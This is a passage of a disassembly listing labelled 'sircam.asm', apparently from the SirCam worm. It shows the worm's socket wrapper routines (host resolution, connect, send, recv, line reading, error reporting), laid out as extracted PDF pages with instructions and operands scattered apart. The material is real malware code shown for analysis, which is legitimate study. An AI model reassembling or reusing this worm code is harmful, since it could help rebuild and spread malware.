loc_40FA13:
; CODE XREF: sub_40F998+63\030j
mov
mov
ax, [eax+8]
[ebx+2], ax
loc_40FA1B:
; CODE XREF: sub_40F998+79\030j
mov
eax, [ebp+var_4]
mov
edx, offset a255_255_255_25 ; "255.255.255.255"
call
sub_403834
jnz
short loc_40FA33
mov
dword ptr [ebx+4], 0FFFFFFFFh
jmp
short loc_40FA5F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FA33:
; CODE XREF: sub_40F998+90\030j
mov
call
mov
push
call
mov
mov
inc
jnz
push
call
test
jz
mov
mov
mov
mov
eax, [ebp+var_4]
sub_4038E8
edi, eax
edi
j_inet_addr
esi, eax
[ebx+4], esi
esi
short loc_40FA5F
edi
j_gethostbyname
eax, eax
short loc_40FA5F
eax, [eax+0Ch]
eax, [eax]
eax, [eax]
[ebx+4], eax
loc_40FA5F:
; CODE XREF: sub_40F998+99\030j
; sub_40F998+B1\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40FA84
loc_40FA6C:
sub_40F998
; CODE XREF: CODE:0040FA82\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
lea
eax, [ebp+arg_0]
call
sub_4034C8
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FA7D:
; DATA XREF: sub_40F998+21\030o
sircam.asm
Fri Aug 10 12:42:44 2001
444
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40FA6C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FA84:
; DATA XREF: sub_40F998+CF\030o
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 0Fh
a255_255_255_25 db ’255.255.255.255’,0 ; DATA XREF: sub_40F998+86\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FAA4
proc near
; CODE XREF: sub_410188+1A\031p
; DATA XREF: CODE:0040F844\030o
push
ebx
mov
ebx, eax
cmp
dword ptr [ebx+4], 0FFFFFFFFh
jnz
short loc_40FAB7
call
j_WSAGetLastError
mov
[ebx+28h], eax
jmp
short loc_40FABC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FAB7:
; CODE XREF: sub_40FAA4+7\030j
xor
mov
eax, eax
[ebx+28h], eax
mov
call
pop
retn
endp
eax, ebx
sub_40FF9C
ebx
loc_40FABC:
sub_40FAA4
; CODE XREF: sub_40FAA4+11\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FAC8
proc near
sub_40FAC8
mov
push
call
retn
endp
; CODE XREF: sub_40F96C+D\030p
; sub_412F7C+1A\031p
eax, [eax+4]
eax
j_closesocket
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40FAD4
proc near
var_18
var_8
var_4
= byte ptr -18h
= dword ptr -8
= dword ptr -4
push
mov
ebp
ebp, esp
; CODE XREF: sub_412EA0+27\031p
sircam.asm
Fri Aug 10 12:42:44 2001
add
push
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
push
lea
mov
mov
call
push
lea
push
mov
push
call
mov
mov
call
mov
call
mov
call
xor
pop
pop
pop
mov
push
esp, 0FFFFFFE8h
ebx
[ebp+var_8], ecx
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_40FB53
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
eax
edx, [ebp+var_18]
ecx, [ebp+var_4]
eax, ebx
sub_40F998
10h
eax, [ebp+var_18]
eax
eax, [ebx+4]
eax
j_connect
edx, eax
eax, ebx
sub_40FF88
eax, ebx
sub_40FB60
eax, ebx
sub_40FF9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40FB5A
loc_40FB45:
sub_40FAD4
445
; CODE XREF: CODE:0040FB58\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FB53:
; DATA XREF: sub_40FAD4+22\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40FB45
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FB5A:
; DATA XREF: sub_40FAD4+6C\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FB60
proc near
push
ebx
push
ecx
mov
ebx, eax
; CODE XREF: sub_40FAD4+58\030p
sircam.asm
sub_40FB60
Fri Aug 10 12:42:44 2001
mov
push
lea
push
mov
push
call
mov
push
lea
push
mov
push
call
pop
pop
retn
endp
446
dword ptr [esp+0], 10h
esp
eax, [ebx+8]
eax
eax, [ebx+4]
eax
j_getsockname
dword ptr [esp+0], 10h
esp
eax, [ebx+18h]
eax
eax, [ebx+4]
eax
j_getpeername
edx
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FB94
proc near
sub_40FB94
push
push
mov
push
push
push
mov
push
call
mov
mov
mov
call
mov
call
mov
pop
pop
retn
endp
; DATA XREF: CODE:0040F848\030o
; CODE:0040F8D8\030o
ebx
esi
ebx, eax
0
ecx
edx
eax, [ebx+4]
eax
j_send
esi, eax
edx, esi
eax, ebx
sub_40FF88
eax, ebx
sub_40FF9C
eax, esi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FBBC
proc near
push
push
mov
mov
push
push
lea
push
mov
push
call
mov
mov
call
mov
call
ebx
ecx
[esp+0], dl
ebx, eax
0
1
eax, [esp+8]
eax
eax, [ebx+4]
eax
j_send
edx, eax
eax, ebx
sub_40FF88
eax, ebx
sub_40FF9C
; DATA XREF: CODE:0040F84C\030o
; CODE:0040F8DC\030o
sircam.asm
sub_40FBBC
Fri Aug 10 12:42:44 2001
pop
pop
retn
endp
447
edx
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40FBE8
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
mov
mov
call
xor
push
push
push
mov
push
mov
call
push
mov
call
push
mov
push
call
mov
mov
call
mov
call
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:0040F850\030o
; CODE:0040F8E0\030o
ebp
ebp, esp
ecx
ebx
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_40FC4B
dword ptr fs:[eax]
fs:[eax], esp
0
eax, [ebp+var_4]
sub_403724
eax
eax, [ebp+var_4]
sub_4038E8
eax
eax, [ebx+4]
eax
j_send
edx, eax
eax, ebx
sub_40FF88
eax, ebx
sub_40FF9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40FC52
loc_40FC42:
sub_40FBE8
; CODE XREF: CODE:0040FC50\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FC4B:
; DATA XREF: sub_40FBE8+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40FC42
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FC52:
; DATA XREF: sub_40FBE8+55\030o
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
448
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FC58
proc near
; DATA XREF: CODE:0040F854\030o
; CODE:0040F8E4\030o
push
ebx
push
esi
mov
ebx, eax
push
0
push
ecx
push
edx
mov
eax, [ebx+4]
push
eax
call
j_recv
mov
esi, eax
test
esi, esi
jnz
short loc_40FC78
mov
dword ptr [ebx+28h], 2749h
jmp
short loc_40FC81
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FC78:
; CODE XREF: sub_40FC58+15\030j
mov
mov
call
edx, esi
eax, ebx
sub_40FF88
mov
call
mov
pop
pop
retn
endp
eax, ebx
sub_40FF9C
eax, esi
esi
ebx
loc_40FC81:
sub_40FC58
; CODE XREF: sub_40FC58+1E\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FC90
proc near
; DATA XREF: CODE:0040F858\030o
; CODE:0040F8E8\030o
push
ebx
push
esi
push
edi
push
ecx
mov
edi, edx
mov
esi, eax
mov
byte ptr [esp+0], 0
xor
ebx, ebx
mov
edx, edi
mov
eax, esi
call
sub_410100
test
al, al
jz
short loc_40FCD8
push
0
push
1
lea
eax, [esp+8]
push
eax
mov
eax, [esi+4]
push
eax
call
j_recv
test
eax, eax
jnz
short loc_40FCCA
mov
dword ptr [esi+28h], 2749h
jmp
short loc_40FCD3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40FCCA:
449
; CODE XREF: sub_40FC90+2F\030j
mov
mov
call
edx, eax
eax, esi
sub_40FF88
loc_40FCD3:
; CODE XREF: sub_40FC90+38\030j
mov
bl, [esp+0]
jmp
short loc_40FCDF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FCD8:
mov
; CODE XREF: sub_40FC90+19\030j
dword ptr [esi+28h], 274Ch
loc_40FCDF:
sub_40FC90
; CODE XREF: sub_40FC90+46\030j
mov
call
mov
pop
pop
pop
pop
retn
endp
eax, esi
sub_40FF9C
eax, ebx
edx
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40FCF0
proc near
var_420
var_41C
var_418
var_411
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
; DATA XREF: CODE:0040F85C\030o
; CODE:0040F8EC\030o
dword ptr -420h
dword ptr -41Ch
dword ptr -418h
byte ptr -411h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
mov
mov
xor
push
push
push
mov
lea
call
lea
mov
xor
mov
xor
ebp
ebp, esp
esp, 0FFFFFBE0h
ebx
esi
edi
ebx, ebx
[ebp+var_420], ebx
[ebp+var_41C], ebx
[ebp+var_418], ebx
[ebp+var_C], ebx
[ebp+var_8], ecx
[ebp+var_4], edx
edi, eax
eax, eax
ebp
offset loc_40FEDB
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
sub_4034C8
eax, [ebp+var_411]
[ebp+var_10], eax
eax, eax
[edi+28h], eax
ebx, ebx
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40FD41:
450
cmp
jnz
mov
call
mov
test
jnz
mov
; CODE XREF: sub_40FCF0+15A\031j
dword ptr [edi+30h], 0
loc_40FDD4
eax, edi
sub_41005C
esi, eax
esi, esi
short loc_40FD5D
esi, 1
cmp
jle
mov
esi, 400h
short loc_40FD6A
esi, 400h
loc_40FD5D:
; CODE XREF: sub_40FCF0+66\030j
loc_40FD6A:
; CODE XREF: sub_40FCF0+73\030j
cmp
esi, 1
jnz
short loc_40FD91
mov
edx, [ebp+var_4]
mov
eax, edi
mov
ecx, [eax]
call
dword ptr [ecx+14h]
mov
ebx, eax
cmp
dword ptr [edi+28h], 0
jnz
loc_40FE50
lea
eax, [edi+30h]
mov
edx, ebx
call
sub_403670
jmp
short loc_40FDD4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FD91:
push
push
mov
push
mov
push
call
mov
mov
mov
call
test
jnz
mov
; CODE XREF: sub_40FCF0+7D\030j
0
esi
eax, [ebp+var_10]
eax
eax, [edi+4]
eax
j_recv
ebx, eax
edx, ebx
eax, edi
sub_40FF88
ebx, ebx
short loc_40FDB7
dword ptr [edi+28h], 2749h
cmp
jnz
mov
lea
mov
call
; CODE XREF: sub_40FCF0+BE\030j
dword ptr [edi+28h], 0
loc_40FE50
[ebp+ebx+var_411], 0
eax, [edi+30h]
edx, [ebp+var_10]
sub_403680
loc_40FDB7:
loc_40FDD4:
; CODE XREF: sub_40FCF0+55\030j
; sub_40FCF0+9F\030j
mov
mov
call
mov
test
jg
mov
call
mov
edx, [edi+30h]
eax, offset dword_40FEF4
sub_4039B4
esi, eax
esi, esi
short loc_40FDF1
eax, [edi+30h]
sub_403724
esi, eax
lea
; CODE XREF: sub_40FCF0+F5\030j
eax, [ebp+var_418]
loc_40FDF1:
sircam.asm
Fri Aug 10 12:42:44 2001
451
push
mov
dec
mov
mov
call
mov
lea
call
mov
mov
lea
mov
mov
call
lea
mov
call
mov
lea
call
cmp
jnz
eax
ecx, esi
ecx
edx, 1
eax, [edi+30h]
sub_40392C
edx, [ebp+var_418]
eax, [ebp+var_C]
sub_40372C
eax, [edi+30h]
bl, [eax+esi-1]
eax, [edi+30h]
ecx, esi
edx, 1
sub_40396C
eax, [ebp+var_41C]
edx, ebx
sub_403670
edx, [ebp+var_41C]
eax, [ebp+var_C]
sub_40372C
bl, 0Ah
loc_40FD41
cmp
jnz
lea
mov
call
mov
lea
call
mov
mov
call
mov
test
jle
lea
push
mov
dec
mov
mov
call
; CODE XREF: sub_40FCF0+8F\030j
; sub_40FCF0+CB\030j
dword ptr [edi+28h], 0
short loc_40FEA6
edx, [ebp+var_420]
eax, [ebp+var_C]
sub_406F20
edx, [ebp+var_420]
eax, [ebp+var_C]
sub_403560
edx, [ebp+var_C]
eax, offset dword_40FF00
sub_4039B4
esi, eax
esi, esi
short loc_40FE99
eax, [ebp+var_C]
eax
ecx, esi
ecx
edx, 1
eax, [ebp+var_C]
sub_40392C
loc_40FE50:
loc_40FE99:
; CODE XREF: sub_40FCF0+193\030j
mov
eax, [ebp+var_8]
mov
edx, [ebp+var_C]
call
sub_40351C
jmp
short loc_40FEAE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FEA6:
; CODE XREF: sub_40FCF0+164\030j
mov
call
eax, [ebp+var_8]
sub_4034C8
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40FCF0+1B4\030j
eax, edi
sub_40FF9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40FEE2
loc_40FEAE:
loc_40FEC2:
; CODE XREF: CODE:0040FEE0\031j
sircam.asm
Fri Aug 10 12:42:44 2001
sub_40FCF0
lea
eax, [ebp+var_420]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -434h
452
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FEDB:
; DATA XREF: sub_40FCF0+2E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40FEC2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FEE2:
; DATA XREF: sub_40FCF0+1CD\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40FEF4
dd 0Ah, 0FFFFFFFFh, 2
; DATA XREF: sub_40FCF0+E7\030o
dword_40FF00
dd 0A0Dh
; DATA XREF: sub_40FCF0+185\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FF04
proc near
sub_40FF04
push
push
mov
push
push
push
mov
push
call
mov
mov
mov
call
mov
call
mov
pop
pop
retn
endp
; DATA XREF: CODE:0040F860\030o
; CODE:0040F8F0\030o
ebx
esi
ebx, eax
2
ecx
edx
eax, [ebx+4]
eax
j_recv
esi, eax
edx, esi
eax, ebx
sub_40FF88
eax, ebx
sub_40FF9C
eax, esi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FF2C
proc near
push
push
push
push
mov
mov
mov
xor
mov
ebx
esi
edi
ecx
edi,
esi,
byte
ebx,
edx,
; DATA XREF: CODE:0040F864\030o
; CODE:0040F8F4\030o
edx
eax
ptr [esp+0], 0
ebx
edi
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
test
jz
push
push
lea
push
mov
push
call
test
jnz
mov
453
eax, esi
sub_410100
al, al
short loc_40FF72
2
1
eax, [esp+8]
eax
eax, [esi+4]
eax
j_recv
eax, eax
short loc_40FF64
dword ptr [esi+28h], 2749h
loc_40FF64:
; CODE XREF: sub_40FF2C+2F\030j
mov
edx, eax
mov
eax, esi
call
sub_40FF88
mov
bl, [esp+0]
jmp
short loc_40FF79
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FF72:
mov
; CODE XREF: sub_40FF2C+19\030j
dword ptr [esi+28h], 274Ch
loc_40FF79:
sub_40FF2C
; CODE XREF: sub_40FF2C+44\030j
mov
call
mov
pop
pop
pop
pop
retn
endp
eax, esi
sub_40FF9C
eax, ebx
edx
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40FF88
proc near
; CODE XREF: sub_40F908+3D\030p
; sub_40FAD4+51\030p ...
push
ebx
mov
ebx, eax
inc
edx
jnz
short loc_40FF95
call
j_WSAGetLastError
jmp
short loc_40FF97
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40FF95:
; CODE XREF: sub_40FF88+4\030j
xor
eax, eax
mov
pop
retn
endp
[ebx+28h], eax
ebx
loc_40FF97:
sub_40FF88
; CODE XREF: sub_40FF88+B\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40FF9C
proc near
; CODE XREF: sub_40F908+44\030p
; sub_40FAA4+1A\030p ...
sircam.asm
var_14
var_10
var_C
var_8
var_4
Fri Aug 10 12:42:44 2001
=
=
=
=
=
dword ptr -14h
byte ptr -10h
dword ptr -0Ch
byte ptr -8
dword ptr -4
push
mov
add
push
push
xor
mov
mov
xor
push
push
push
mov
cmp
jz
cmp
jz
lea
mov
call
mov
mov
mov
mov
mov
mov
lea
push
push
mov
mov
mov
call
mov
mov
mov
lea
mov
call
mov
call
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
esi
edx, edx
[ebp+var_4], edx
ebx, eax
eax, eax
ebp
offset loc_41002B
dword ptr fs:[eax]
fs:[eax], esp
byte ptr [ebx+34h], 0
short loc_410015
dword ptr [ebx+28h], 0
short loc_410015
edx, [ebp+var_4]
eax, [ebx+28h]
sub_4101AC
eax, [ebx+28h]
[ebp+var_14], eax
[ebp+var_10], 0
eax, [ebp+var_4]
[ebp+var_C], eax
[ebp+var_8], 0Bh
eax, [ebp+var_14]
eax
1
ecx, offset aTcpIpSocketErr ; "TCP/IP socket error %d: %s"
dl, 1
eax, ds:off_40F78C
sub_40948C
esi, eax
eax, [ebx+28h]
[esi+0Ch], eax
eax, [esi+10h]
edx, [ebp+var_4]
sub_40351C
eax, esi
sub_402F98
loc_410015:
; CODE XREF: sub_40FF9C+21\030j
; sub_40FF9C+27\030j
xor
pop
